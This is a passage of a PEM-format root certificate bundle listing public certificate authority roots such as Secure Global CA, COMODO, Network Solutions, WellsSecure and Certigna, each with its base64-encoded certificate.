3ItHuuG51WLQoqD0ZwV4KWMabwTW+MZMo5qxN7SN5ShLHZ4swrhovO0C7jE= -----END CERTIFICATE----- Secure Global CA ================ -----BEGIN CERTIFICATE----- MIIDvDCCAqSgAwIBAgIQB1YipOjUiolN9BPI8PjqpTANBgkqhkiG9w0BAQUFADBKMQswCQYDVQQG EwJVUzEgMB4GA1UEChMXU2VjdXJlVHJ1c3QgQ29ycG9yYXRpb24xGTAXBgNVBAMTEFNlY3VyZSBH bG9iYWwgQ0EwHhcNMDYxMTA3MTk0MjI4WhcNMjkxMjMxMTk1MjA2WjBKMQswCQYDVQQGEwJVUzEg MB4GA1UEChMXU2VjdXJlVHJ1c3QgQ29ycG9yYXRpb24xGTAXBgNVBAMTEFNlY3VyZSBHbG9iYWwg Q0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCvNS7YrGxVaQZx5RNoJLNP2MwhR/jx YDiJiQPpvepeRlMJ3Fz1Wuj3RSoC6zFh1ykzTM7HfAo3fg+6MpjhHZevj8fcyTiW89sa/FHtaMbQ bqR8JNGuQsiWUGMu4P51/pinX0kuleM5M2SOHqRfkNJnPLLZ/kG5VacJjnIFHovdRIWCQtBJwB1g 8NEXLJXr9qXBkqPFwqcIYA1gBBCWeZ4WNOaptvolRTnIHmX5k/Wq8VLcmZg9pYYaDDUz+kulBAYV HDGA76oYa8J719rO+TMg1fW9ajMtgQT7sFzUnKPiXB3jqUJ1XnvUd+85VLrJChgbEplJL4hL/VBi 0XPnj3pDAgMBAAGjgZ0wgZowEwYJKwYBBAGCNxQCBAYeBABDAEEwCwYDVR0PBAQDAgGGMA8GA1Ud EwEB/wQFMAMBAf8wHQYDVR0OBBYEFK9EBMJBfkiD2045AuzshHrmzsmkMDQGA1UdHwQtMCswKaAn oCWGI2h0dHA6Ly9jcmwuc2VjdXJldHJ1c3QuY29tL1NHQ0EuY3JsMBAGCSsGAQQBgjcVAQQDAgEA MA0GCSqGSIb3DQEBBQUAA4IBAQBjGghAfaReUw132HquHw0LURYD7xh8yOOvaliTFGCRsoTciE6+ OYo68+aCiV0BN7OrJKQVDpI1WkpEXk5X+nXOH0jOZvQ8QCaSmGwb7iRGDBezUqXbpZGRzzfTb+cn CDpOGR86p1hcF895P4vkp9MmI50mD1hp/Ed+stCNi5O/KU9DaXR2Z0vPB4zmAve14bRDtUstFJ/5 3CYNv6ZHdAbYiNE6KTCEztI5gGIbqMdXSbxqVVFnFUq+NQfk1XWYN3kwFNspnWzFacxHVaIw98xc f8LDmBxrThaA63p4ZUWiABqvDA1VZDRIuJK58bRQKfJPIx/abKwfROHdI3hRW8cW -----END CERTIFICATE----- COMODO Certification Authority ============================== -----BEGIN CERTIFICATE----- MIIEHTCCAwWgAwIBAgIQToEtioJl4AsC7j41AkblPTANBgkqhkiG9w0BAQUFADCBgTELMAkGA1UE BhMCR0IxGzAZBgNVBAgTEkdyZWF0ZXIgTWFuY2hlc3RlcjEQMA4GA1UEBxMHU2FsZm9yZDEaMBgG A1UEChMRQ09NT0RPIENBIExpbWl0ZWQxJzAlBgNVBAMTHkNPTU9ETyBDZXJ0aWZpY2F0aW9uIEF1 dGhvcml0eTAeFw0wNjEyMDEwMDAwMDBaFw0yOTEyMzEyMzU5NTlaMIGBMQswCQYDVQQGEwJHQjEb MBkGA1UECBMSR3JlYXRlciBNYW5jaGVzdGVyMRAwDgYDVQQHEwdTYWxmb3JkMRowGAYDVQQKExFD T01PRE8gQ0EgTGltaXRlZDEnMCUGA1UEAxMeQ09NT0RPIENlcnRpZmljYXRpb24gQXV0aG9yaXR5 MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0ECLi3LjkRv3UcEbVASY06m/weaKXTuH +7uIzg3jLz8GlvCiKVCZrts7oVewdFFxze1CkU1B/qnI2GqGd0S7WWaXUF601CxwRM/aN5VCaTww xHGzUvAhTaHYujl8HJ6jJJ3ygxaYqhZ8Q5sVW7euNJH+1GImGEaaP+vB+fGQV+useg2L23IwambV 4EajcNxo2f8ESIl33rXp+2dtQem8Ob0y2WIC8bGoPW43nOIv4tOiJovGuFVDiOEjPqXSJDlqR6sA 1KGzqSX+DT+nHbrTUcELpNqsOO9VUCQFZUaTNE8tja3G1CEZ0o7KBWFxB3NH5YoZEr0ETc5OnKVI rLsm9wIDAQABo4GOMIGLMB0GA1UdDgQWBBQLWOWLxkwVN6RAqTCpIb5HNlpW/zAOBgNVHQ8BAf8E BAMCAQYwDwYDVR0TAQH/BAUwAwEB/zBJBgNVHR8EQjBAMD6gPKA6hjhodHRwOi8vY3JsLmNvbW9k b2NhLmNvbS9DT01PRE9DZXJ0aWZpY2F0aW9uQXV0aG9yaXR5LmNybDANBgkqhkiG9w0BAQUFAAOC AQEAPpiem/Yb6dc5t3iuHXIYSdOH5EOC6z/JqvWote9VfCFSZfnVDeFs9D6Mk3ORLgLETgdxb8CP OGEIqB6BCsAvIC9Bi5HcSEW88cbeunZrM8gALTFGTO3nnc+IlP8zwFboJIYmuNg4ON8qa90SzMc/ RxdMosIGlgnW2/4/PEZB31jiVg88O8EckzXZOFKs7sjsLjBOlDW0JB9LeGna8gI4zJVSk/BwJVmc IGfE7vmLV2H0knZ9P4SNVbfo5azV8fUZVqZa+5Acr5Pr5RzUZ5ddBA6+C4OmF4O5MBKgxTMVBbkN +8cFduPYSo38NBejxiEovjBFMR7HeL5YYTisO+IBZQ== -----END CERTIFICATE----- Network Solutions Certificate Authority ======================================= -----BEGIN CERTIFICATE----- MIID5jCCAs6gAwIBAgIQV8szb8JcFuZHFhfjkDFo4DANBgkqhkiG9w0BAQUFADBiMQswCQYDVQQG EwJVUzEhMB8GA1UEChMYTmV0d29yayBTb2x1dGlvbnMgTC5MLkMuMTAwLgYDVQQDEydOZXR3b3Jr IFNvbHV0aW9ucyBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkwHhcNMDYxMjAxMDAwMDAwWhcNMjkxMjMx MjM1OTU5WjBiMQswCQYDVQQGEwJVUzEhMB8GA1UEChMYTmV0d29yayBTb2x1dGlvbnMgTC5MLkMu MTAwLgYDVQQDEydOZXR3b3JrIFNvbHV0aW9ucyBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkwggEiMA0G CSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDkvH6SMG3G2I4rC7xGzuAnlt7e+foS0zwzc7MEL7xx jOWftiJgPl9dzgn/ggwbmlFQGiaJ3dVhXRncEg8tCqJDXRfQNJIg6nPPOCwGJgl6cvf6UDL4wpPT aaIjzkGxzOTVHzbRijr4jGPiFFlp7Q3Tf2vouAPlT2rlmGNpSAW+Lv8ztumXWWn4Zxmuk2GWRBXT crA/vGp97Eh/jcOrqnErU2lBUzS1sLnFBgrEsEX1QV1uiUV7PTsmjHTC5dLRfbIR1PtYMiKagMnc /Qzpf14Dl847ABSHJ3A4qY5usyd2mFHgBeMhqxrVhSI8KbWaFsWAqPS7azCPL0YCorEMIuDTAgMB AAGjgZcwgZQwHQYDVR0OBBYEFCEwyfsA106Y2oeqKtCnLrFAMadMMA4GA1UdDwEB/wQEAwIBBjAP BgNVHRMBAf8EBTADAQH/MFIGA1UdHwRLMEkwR6BFoEOGQWh0dHA6Ly9jcmwubmV0c29sc3NsLmNv bS9OZXR3b3JrU29sdXRpb25zQ2VydGlmaWNhdGVBdXRob3JpdHkuY3JsMA0GCSqGSIb3DQEBBQUA A4IBAQC7rkvnt1frf6ott3NHhWrB5KUd5Oc86fRZZXe1eltajSU24HqXLjjAV2CDmAaDn7l2em5Q 4LqILPxFzBiwmZVRDuwduIj/h1AcgsLj4DKAv6ALR8jDMe+ZZzKATxcheQxpXN5eNK4CtSbqUN9/ GGUsyfJj4akH/nxxH2szJGoeBfcFaMBqEssuXmHLrijTfsK0ZpEmXzwuJF/LWA/rKOyvEZbz3Htv wKeI8lN3s2Berq4o2jUsbzRF0ybh3uxbTydrFny9RAQYgrOJeRcQcT16ohZO9QHNpGxlaKFJdlxD ydi8NmdspZS11My5vWo1ViHe2MPr+8ukYEywVaCge1ey -----END CERTIFICATE----- WellsSecure Public Root Certificate Authority ============================================= -----BEGIN CERTIFICATE----- MIIEvTCCA6WgAwIBAgIBATANBgkqhkiG9w0BAQUFADCBhTELMAkGA1UEBhMCVVMxIDAeBgNVBAoM F1dlbGxzIEZhcmdvIFdlbGxzU2VjdXJlMRwwGgYDVQQLDBNXZWxscyBGYXJnbyBCYW5rIE5BMTYw NAYDVQQDDC1XZWxsc1NlY3VyZSBQdWJsaWMgUm9vdCBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkwHhcN MDcxMjEzMTcwNzU0WhcNMjIxMjE0MDAwNzU0WjCBhTELMAkGA1UEBhMCVVMxIDAeBgNVBAoMF1dl bGxzIEZhcmdvIFdlbGxzU2VjdXJlMRwwGgYDVQQLDBNXZWxscyBGYXJnbyBCYW5rIE5BMTYwNAYD VQQDDC1XZWxsc1NlY3VyZSBQdWJsaWMgUm9vdCBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkwggEiMA0G CSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDub7S9eeKPCCGeOARBJe+rWxxTkqxtnt3CxC5FlAM1 iGd0V+PfjLindo8796jE2yljDpFoNoqXjopxaAkH5OjUDk/41itMpBb570OYj7OeUt9tkTmPOL13 i0Nj67eT/DBMHAGTthP796EfvyXhdDcsHqRePGj4S78NuR4uNuip5Kf4D8uCdXw1LSLWwr8L87T8 bJVhHlfXBIEyg1J55oNjz7fLY4sR4r1e6/aN7ZVyKLSsEmLpSjPmgzKuBXWVvYSV2ypcm44uDLiB K0HmOFafSZtsdvqKXfcBeYF8wYNABf5x/Qw/zE5gCQ5lRxAvAcAFP4/4s0HvWkJ+We/SlwxlAgMB AAGjggE0MIIBMDAPBgNVHRMBAf8EBTADAQH/MDkGA1UdHwQyMDAwLqAsoCqGKGh0dHA6Ly9jcmwu cGtpLndlbGxzZmFyZ28uY29tL3dzcHJjYS5jcmwwDgYDVR0PAQH/BAQDAgHGMB0GA1UdDgQWBBQm lRkQ2eihl5H/3BnZtQQ+0nMKajCBsgYDVR0jBIGqMIGngBQmlRkQ2eihl5H/3BnZtQQ+0nMKaqGB i6SBiDCBhTELMAkGA1UEBhMCVVMxIDAeBgNVBAoMF1dlbGxzIEZhcmdvIFdlbGxzU2VjdXJlMRww GgYDVQQLDBNXZWxscyBGYXJnbyBCYW5rIE5BMTYwNAYDVQQDDC1XZWxsc1NlY3VyZSBQdWJsaWMg Um9vdCBDZXJ0aWZpY2F0ZSBBdXRob3JpdHmCAQEwDQYJKoZIhvcNAQEFBQADggEBALkVsUSRzCPI K0134/iaeycNzXK7mQDKfGYZUMbVmO2rvwNa5U3lHshPcZeG1eMd/ZDJPHV3V3p9+N701NX3leZ0 bh08rnyd2wIDBSxxSyU+B+NemvVmFymIGjifz6pBA4SXa5M4esowRBskRDPQ5NHcKDj0E0M1NSlj qHyita04pO2t/caaH/+Xc/77szWnk4bGdpEA5qxRFsQnMlzbc9qlk1eOPm01JghZ1edE13YgY+es E2fDbbFwRnzVlhE9iW9dqKHrjQrawx0zbKPqZxmamX9LPYNRKh3KL4YMon4QLSvUFpULB6ouFJJJ tylv2G0xffX8oRAHh84vWdw+WNs= -----END CERTIFICATE----- COMODO ECC Certification Authority ================================== -----BEGIN CERTIFICATE----- MIICiTCCAg+gAwIBAgIQH0evqmIAcFBUTAGem2OZKjAKBggqhkjOPQQDAzCBhTELMAkGA1UEBhMC R0IxGzAZBgNVBAgTEkdyZWF0ZXIgTWFuY2hlc3RlcjEQMA4GA1UEBxMHU2FsZm9yZDEaMBgGA1UE ChMRQ09NT0RPIENBIExpbWl0ZWQxKzApBgNVBAMTIkNPTU9ETyBFQ0MgQ2VydGlmaWNhdGlvbiBB dXRob3JpdHkwHhcNMDgwMzA2MDAwMDAwWhcNMzgwMTE4MjM1OTU5WjCBhTELMAkGA1UEBhMCR0Ix GzAZBgNVBAgTEkdyZWF0ZXIgTWFuY2hlc3RlcjEQMA4GA1UEBxMHU2FsZm9yZDEaMBgGA1UEChMR Q09NT0RPIENBIExpbWl0ZWQxKzApBgNVBAMTIkNPTU9ETyBFQ0MgQ2VydGlmaWNhdGlvbiBBdXRo b3JpdHkwdjAQBgcqhkjOPQIBBgUrgQQAIgNiAAQDR3svdcmCFYX7deSRFtSrYpn1PlILBs5BAH+X 4QokPB0BBO490o0JlwzgdeT6+3eKKvUDYEs2ixYjFq0JcfRK9ChQtP6IHG4/bC8vCVlbpVsLM5ni wz2J+Wos77LTBumjQjBAMB0GA1UdDgQWBBR1cacZSBm8nZ3qQUfflMRId5nTeTAOBgNVHQ8BAf8E BAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAKBggqhkjOPQQDAwNoADBlAjEA7wNbeqy3eApyt4jf/7VG FAkK+qDmfQjGGoe9GKhzvSbKYAydzpmfz1wPMOG+FDHqAjAU9JM8SaczepBGR7NjfRObTrdvGDeA U/7dIOA1mjbRxwG55tzd8/8dLDoWV9mSOdY= -----END CERTIFICATE----- IGC/A ===== -----BEGIN CERTIFICATE----- MIIEAjCCAuqgAwIBAgIFORFFEJQwDQYJKoZIhvcNAQEFBQAwgYUxCzAJBgNVBAYTAkZSMQ8wDQYD VQQIEwZGcmFuY2UxDjAMBgNVBAcTBVBhcmlzMRAwDgYDVQQKEwdQTS9TR0ROMQ4wDAYDVQQLEwVE Q1NTSTEOMAwGA1UEAxMFSUdDL0ExIzAhBgkqhkiG9w0BCQEWFGlnY2FAc2dkbi5wbS5nb3V2LmZy MB4XDTAyMTIxMzE0MjkyM1oXDTIwMTAxNzE0MjkyMlowgYUxCzAJBgNVBAYTAkZSMQ8wDQYDVQQI EwZGcmFuY2UxDjAMBgNVBAcTBVBhcmlzMRAwDgYDVQQKEwdQTS9TR0ROMQ4wDAYDVQQLEwVEQ1NT STEOMAwGA1UEAxMFSUdDL0ExIzAhBgkqhkiG9w0BCQEWFGlnY2FAc2dkbi5wbS5nb3V2LmZyMIIB IjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsh/R0GLFMzvABIaIs9z4iPf930Pfeo2aSVz2 TqrMHLmh6yeJ8kbpO0px1R2OLc/mratjUMdUC24SyZA2xtgv2pGqaMVy/hcKshd+ebUyiHDKcMCW So7kVc0dJ5S/znIq7Fz5cyD+vfcuiWe4u0dzEvfRNWk68gq5rv9GQkaiv6GFGvm/5P9JhfejcIYy HF2fYPepraX/z9E0+X1bF8bc1g4oa8Ld8fUzaJ1O/Id8NhLWo4DoQw1VYZTqZDdH6nfK0LJYBcNd frGoRpAxVs5wKpayMLh35nnAvSk7/ZR3TL0gzUEl4C7HG7vupARB0l2tEmqKm0f7yd1GQOGdPDPQ tQIDAQABo3cwdTAPBgNVHRMBAf8EBTADAQH/MAsGA1UdDwQEAwIBRjAVBgNVHSAEDjAMMAoGCCqB egF5AQEBMB0GA1UdDgQWBBSjBS8YYFDCiQrdKyFP/45OqDAxNjAfBgNVHSMEGDAWgBSjBS8YYFDC iQrdKyFP/45OqDAxNjANBgkqhkiG9w0BAQUFAAOCAQEABdwm2Pp3FURo/C9mOnTgXeQp/wYHE4RK q89toB9RlPhJy3Q2FLwV3duJL92PoF189RLrn544pEfMs5bZvpwlqwN+Mw+VgQ39FuCIvjfwbF3Q MZsyK10XZZOYYLxuj7GoPB7ZHPOpJkL5ZB3C55L29B5aqhlSXa/oovdgoPaN8In1buAKBQGVyYsg Crpa/JosPL3Dt8ldeCUFP1YUmwza+zpI/pdpXsoQhvdOlgQITeywvl3cO45Pwf2aNjSaTFR+FwNI lQgRHAdvhQh+XU3Endv7rs6y0bO4g2wdsrN58dhwmX7wEwLOXt1R0982gaEbeC9xs/FZTEYYKKuF 0mBWWg== -----END CERTIFICATE----- Security Communication EV RootCA1 ================================= -----BEGIN CERTIFICATE----- MIIDfTCCAmWgAwIBAgIBADANBgkqhkiG9w0BAQUFADBgMQswCQYDVQQGEwJKUDElMCMGA1UEChMc U0VDT00gVHJ1c3QgU3lzdGVtcyBDTy4sTFRELjEqMCgGA1UECxMhU2VjdXJpdHkgQ29tbXVuaWNh dGlvbiBFViBSb290Q0ExMB4XDTA3MDYwNjAyMTIzMloXDTM3MDYwNjAyMTIzMlowYDELMAkGA1UE BhMCSlAxJTAjBgNVBAoTHFNFQ09NIFRydXN0IFN5c3RlbXMgQ08uLExURC4xKjAoBgNVBAsTIVNl Y3VyaXR5IENvbW11bmljYXRpb24gRVYgUm9vdENBMTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC AQoCggEBALx/7FebJOD+nLpCeamIivqA4PUHKUPqjgo0No0c+qe1OXj/l3X3L+SqawSERMqm4miO /VVQYg+kcQ7OBzgtQoVQrTyWb4vVog7P3kmJPdZkLjjlHmy1V4qe70gOzXppFodEtZDkBp2uoQSX WHnvIEqCa4wiv+wfD+mEce3xDuS4GBPMVjZd0ZoeUWs5bmB2iDQL87PRsJ3KYeJkHcFGB7hj3R4z ZbOOCVVSPbW9/wfrrWFVGCypaZhKqkDFMxRldAD5kd6vA0jFQFTcD4SQaCDFkpbcLuUCRarAX1T4 bepJz11sS6/vmsJWXMY1VkJqMF/Cq/biPT+zyRGPMUzXn0kCAwEAAaNCMEAwHQYDVR0OBBYEFDVK 9U2vP9eCOKyrcWUXdYydVZPmMA4GA1UdDwEB/wQEAwIBBjAPBgNVHRMBAf8EBTADAQH/MA0GCSqG SIb3DQEBBQUAA4IBAQCoh+ns+EBnXcPBZsdAS5f8hxOQWsTvoMpfi7ent/HWtWS3irO4G8za+6xm iEHO6Pzk2x6Ipu0nUBsCMCRGef4Eh3CXQHPRwMFXGZpppSeZq51ihPZRwSzJIxXYKLerJRO1RuGG Av8mjMSIkh1W/hln8lXkgKNrnKt34VFxDSDbEJrbvXZ5B3eZKK2aXtqxT0QsNY6llsf9g/BYxnnW mHyojf6GPgcWkuF75x3sM3Z+Qi5KhfmRiWiEA4Glm5q+4zfFVKtWOxgtQaQM+ELbmaDgcm+7XeEW T1MKZPlO9L9OVL14bIjqv5wTJMJwaaJ/D8g8rQjJsJhAoyrniIPtd490 -----END CERTIFICATE----- OISTE WISeKey Global Root GA CA =============================== -----BEGIN CERTIFICATE----- MIID8TCCAtmgAwIBAgIQQT1yx/RrH4FDffHSKFTfmjANBgkqhkiG9w0BAQUFADCBijELMAkGA1UE BhMCQ0gxEDAOBgNVBAoTB1dJU2VLZXkxGzAZBgNVBAsTEkNvcHlyaWdodCAoYykgMjAwNTEiMCAG A1UECxMZT0lTVEUgRm91bmRhdGlvbiBFbmRvcnNlZDEoMCYGA1UEAxMfT0lTVEUgV0lTZUtleSBH bG9iYWwgUm9vdCBHQSBDQTAeFw0wNTEyMTExNjAzNDRaFw0zNzEyMTExNjA5NTFaMIGKMQswCQYD VQQGEwJDSDEQMA4GA1UEChMHV0lTZUtleTEbMBkGA1UECxMSQ29weXJpZ2h0IChjKSAyMDA1MSIw IAYDVQQLExlPSVNURSBGb3VuZGF0aW9uIEVuZG9yc2VkMSgwJgYDVQQDEx9PSVNURSBXSVNlS2V5 IEdsb2JhbCBSb290IEdBIENBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAy0+zAJs9 Nt350UlqaxBJH+zYK7LG+DKBKUOVTJoZIyEVRd7jyBxRVVuuk+g3/ytr6dTqvirdqFEr12bDYVxg Asj1znJ7O7jyTmUIms2kahnBAbtzptf2w93NvKSLtZlhuAGio9RN1AU9ka34tAhxZK9w8RxrfvbD d50kc3vkDIzh2TbhmYsFmQvtRTEJysIA2/dyoJaqlYfQjse2YXMNdmaM3Bu0Y6Kff5MTMPGhJ9vZ /yxViJGg4E8HsChWjBgbl0SOid3gF27nKu+POQoxhILYQBRJLnpB5Kf+42TMwVlxSywhp1t94B3R LoGbw9ho972WG6xwsRYUC9tguSYBBQIDAQABo1EwTzALBgNVHQ8EBAMCAYYwDwYDVR0TAQH/BAUw AwEB/zAdBgNVHQ4EFgQUswN+rja8sHnR3JQmthG+IbJphpQwEAYJKwYBBAGCNxUBBAMCAQAwDQYJ KoZIhvcNAQEFBQADggEBAEuh/wuHbrP5wUOxSPMowB0uyQlB+pQAHKSkq0lPjz0e701vvbyk9vIm MMkQyh2I+3QZH4VFvbBsUfk2ftv1TDI6QU9bR8/oCy22xBmddMVHxjtqD6wU2zz0c5ypBd8A3HR4 +vg1YFkCExh8vPtNsCBtQ7tgMHpnM1zFmdH4LTlSc/uMqpclXHLZCB6rTjzjgTGfA6b7wP4piFXa hNVQA7bihKOmNqoROgHhGEvWRGizPflTdISzRpFGlgC3gCy24eMQ4tui5yiPAZZiFj4A4xylNoEY okxSdsARo27mHbrjWr42U8U+dY+GaSlYU7Wcu2+fXMUY7N0v4ZjJ/L7fCg0= -----END CERTIFICATE----- Microsec e-Szigno Root CA ========================= -----BEGIN CERTIFICATE----- MIIHqDCCBpCgAwIBAgIRAMy4579OKRr9otxmpRwsDxEwDQYJKoZIhvcNAQEFBQAwcjELMAkGA1UE BhMCSFUxETAPBgNVBAcTCEJ1ZGFwZXN0MRYwFAYDVQQKEw1NaWNyb3NlYyBMdGQuMRQwEgYDVQQL EwtlLVN6aWdubyBDQTEiMCAGA1UEAxMZTWljcm9zZWMgZS1Temlnbm8gUm9vdCBDQTAeFw0wNTA0 MDYxMjI4NDRaFw0xNzA0MDYxMjI4NDRaMHIxCzAJBgNVBAYTAkhVMREwDwYDVQQHEwhCdWRhcGVz dDEWMBQGA1UEChMNTWljcm9zZWMgTHRkLjEUMBIGA1UECxMLZS1Temlnbm8gQ0ExIjAgBgNVBAMT GU1pY3Jvc2VjIGUtU3ppZ25vIFJvb3QgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB AQDtyADVgXvNOABHzNuEwSFpLHSQDCHZU4ftPkNEU6+r+ICbPHiN1I2uuO/TEdyB5s87lozWbxXG d36hL+BfkrYn13aaHUM86tnsL+4582pnS4uCzyL4ZVX+LMsvfUh6PXX5qqAnu3jCBspRwn5mS6/N oqdNAoI/gqyFxuEPkEeZlApxcpMqyabAvjxWTHOSJ/FrtfX9/DAFYJLG65Z+AZHCabEeHXtTRbjc QR/Ji3HWVBTji1R4P770Yjtb9aPs1ZJ04nQw7wHb4dSrmZsqa/i9phyGI0Jf7Enemotb9HI6QMVJ PqW+jqpx62z69Rrkav17fVVA71hu5tnVvCSrwe+3AgMBAAGjggQ3MIIEMzBnBggrBgEFBQcBAQRb MFkwKAYIKwYBBQUHMAGGHGh0dHBzOi8vcmNhLmUtc3ppZ25vLmh1L29jc3AwLQYIKwYBBQUHMAKG IWh0dHA6Ly93d3cuZS1zemlnbm8uaHUvUm9vdENBLmNydDAPBgNVHRMBAf8EBTADAQH/MIIBcwYD VR0gBIIBajCCAWYwggFiBgwrBgEEAYGoGAIBAQEwggFQMCgGCCsGAQUFBwIBFhxodHRwOi8vd3d3 LmUtc3ppZ25vLmh1L1NaU1ovMIIBIgYIKwYBBQUHAgIwggEUHoIBEABBACAAdABhAG4A+gBzAO0A dAB2AOEAbgB5ACAA6QByAHQAZQBsAG0AZQB6AOkAcwDpAGgAZQB6ACAA6QBzACAAZQBsAGYAbwBn AGEAZADhAHMA4QBoAG8AegAgAGEAIABTAHoAbwBsAGcA4QBsAHQAYQB0APMAIABTAHoAbwBsAGcA 4QBsAHQAYQB0AOEAcwBpACAAUwB6AGEAYgDhAGwAeQB6AGEAdABhACAAcwB6AGUAcgBpAG4AdAAg AGsAZQBsAGwAIABlAGwAagDhAHIAbgBpADoAIABoAHQAdABwADoALwAvAHcAdwB3AC4AZQAtAHMA egBpAGcAbgBvAC4AaAB1AC8AUwBaAFMAWgAvMIHIBgNVHR8EgcAwgb0wgbqggbeggbSGIWh0dHA6 Ly93d3cuZS1zemlnbm8uaHUvUm9vdENBLmNybIaBjmxkYXA6Ly9sZGFwLmUtc3ppZ25vLmh1L0NO PU1pY3Jvc2VjJTIwZS1Temlnbm8lMjBSb290JTIwQ0EsT1U9ZS1Temlnbm8lMjBDQSxPPU1pY3Jv c2VjJTIwTHRkLixMPUJ1ZGFwZXN0LEM9SFU/Y2VydGlmaWNhdGVSZXZvY2F0aW9uTGlzdDtiaW5h cnkwDgYDVR0PAQH/BAQDAgEGMIGWBgNVHREEgY4wgYuBEGluZm9AZS1zemlnbm8uaHWkdzB1MSMw IQYDVQQDDBpNaWNyb3NlYyBlLVN6aWduw7MgUm9vdCBDQTEWMBQGA1UECwwNZS1TemlnbsOzIEhT WjEWMBQGA1UEChMNTWljcm9zZWMgS2Z0LjERMA8GA1UEBxMIQnVkYXBlc3QxCzAJBgNVBAYTAkhV MIGsBgNVHSMEgaQwgaGAFMegSXUWYYTbMUuE0vE3QJDvTtz3oXakdDByMQswCQYDVQQGEwJIVTER MA8GA1UEBxMIQnVkYXBlc3QxFjAUBgNVBAoTDU1pY3Jvc2VjIEx0ZC4xFDASBgNVBAsTC2UtU3pp Z25vIENBMSIwIAYDVQQDExlNaWNyb3NlYyBlLVN6aWdubyBSb290IENBghEAzLjnv04pGv2i3Gal HCwPETAdBgNVHQ4EFgQUx6BJdRZhhNsxS4TS8TdAkO9O3PcwDQYJKoZIhvcNAQEFBQADggEBANMT nGZjWS7KXHAM/IO8VbH0jgdsZifOwTsgqRy7RlRw7lrMoHfqaEQn6/Ip3Xep1fvj1KcExJW4C+FE aGAHQzAxQmHl7tnlJNUb3+FKG6qfx1/4ehHqE5MAyopYse7tDk2016g2JnzgOsHVV4Lxdbb9iV/a 86g4nzUGCM4ilb7N1fy+W955a9x6qWVmvrElWl/tftOsRm1M9DKHtCAE4Gx4sHfRhUZLphK3dehK yVZs15KrnfVJONJPU+NVkBHbmJbGSfI+9J8b4PeI3CVimUTYc78/MPMMNz7UwiiAc7EBt51alhQB S6kRnSlqLtBdgcDPsiBDxwPgN05dCtxZICU= -----END CERTIFICATE----- Certigna ======== -----BEGIN CERTIFICATE----- MIIDqDCCApCgAwIBAgIJAP7c4wEPyUj/MA0GCSqGSIb3DQEBBQUAMDQxCzAJBgNVBAYTAkZSMRIw EAYDVQQKDAlEaGlteW90aXMxETAPBgNVBAMMCENlcnRpZ25hMB4XDTA3MDYyOTE1MTMwNVoXDTI3 MDYyOTE1MTMwNVowNDELMAkGA1UEBhMCRlIxEjAQBgNVBAoMCURoaW15b3RpczERMA8GA1UEAwwI Q2VydGlnbmEwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDIaPHJ1tazNHUmgh7stL7q XOEm7RFHYeGifBZ4QCHkYJ5ayGPhxLGWkv8YbWkj4Sti993iNi+RB7lIzw7sebYs5zRLcAglozyH GxnygQcPOJAZ0xH+hrTy0V4eHpbNgGzOOzGTtvKg0KmVEn2lmsxryIRWijOp5yIVUxbwzBfsV1/p ogqYCd7jX5xv3EjjhQsVWqa6n6xI4wmy9/Qy3l40vhx4XUJbzg4ij02Q130yGLMLLGq/jj8UEYkg DncUtT2UCIf3JR7VsmAA7G8qKCVuKj4YYxclPz5EIBb2JsglrgVKtOdjLPOMFlN+XPsRGgjBRmKf Irjxwo1p3Po6WAbfAgMBAAGjgbwwgbkwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUGu3+QTmQ tCRZvgHyUtVF9lo53BEwZAYDVR0jBF0wW4AUGu3+QTmQtCRZvgHyUtVF9lo53BGhOKQ2MDQxCzAJ BgNVBAYTAkZSMRIwEAYDVQQKDAlEaGlteW90aXMxETAPBgNVBAMMCENlcnRpZ25hggkA/tzjAQ/J SP8wDgYDVR0PAQH/BAQDAgEGMBEGCWCGSAGG+EIBAQQEAwIABzANBgkqhkiG9w0BAQUFAAOCAQEA hQMeknH2Qq/ho2Ge6/PAD/Kl1NqV5ta+aDY9fm4fTIrv0Q8hbV6lUmPOEvjvKtpv6zf+EwLHyzs+ ImvaYS5/1HI93TDhHkxAGYwP15zRgzB7mFncfca5DClMoTOi62c6ZYTTluLtdkVwj7Ur3vkj1klu PBS1xp81HlDQwY9qcEQCYsuuHWhBp6pX6FOqB9IG9tUUBguRA3UsbHK1YZWaDYu5Def131TN3ubY 1gkIl2PlwS6wt0QmwCbAr1UwnjvVNioZBPRcHv/PLLf/0P2HQBHVESO7SMAhqaQoLf0V+LBOK/Qw WyH8EZE0vkHve52Xdf+XlcCWWC/qu0bXu+TZLg== -----END CERTIFICATE----- TC TrustCenter Class 2 CA II ============================ -----BEGIN CERTIFICATE----- MIIEqjCCA5KgAwIBAgIOLmoAAQACH9dSISwRXDswDQYJKoZIhvcNAQEFBQAwdjELMAkGA1UEBhMC REUxHDAaBgNVBAoTE1RDIFRydXN0Q2VudGVyIEdtYkgxIjAgBgNVBAsTGVRDIFRydXN0Q2VudGVy IENsYXNzIDIgQ0ExJTAjBgNVBAMTHFRDIFRydXN0Q2VudGVyIENsYXNzIDIgQ0EgSUkwHhcNMDYw MTEyMTQzODQzWhcNMjUxMjMxMjI1OTU5WjB2MQswCQYDVQQGEwJERTEcMBoGA1UEChMTVEMgVHJ1 c3RDZW50ZXIgR21iSDEiMCAGA1UECxMZVEMgVHJ1c3RDZW50ZXIgQ2xhc3MgMiBDQTElMCMGA1UE AxMcVEMgVHJ1c3RDZW50ZXIgQ2xhc3MgMiBDQSBJSTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC AQoCggEBAKuAh5uO8MN8h9foJIIRszzdQ2Lu+MNF2ujhoF/RKrLqk2jftMjWQ+nEdVl//OEd+DFw IxuInie5e/060smp6RQvkL4DUsFJzfb95AhmC1eKokKguNV/aVyQMrKXDcpK3EY+AlWJU+MaWss2 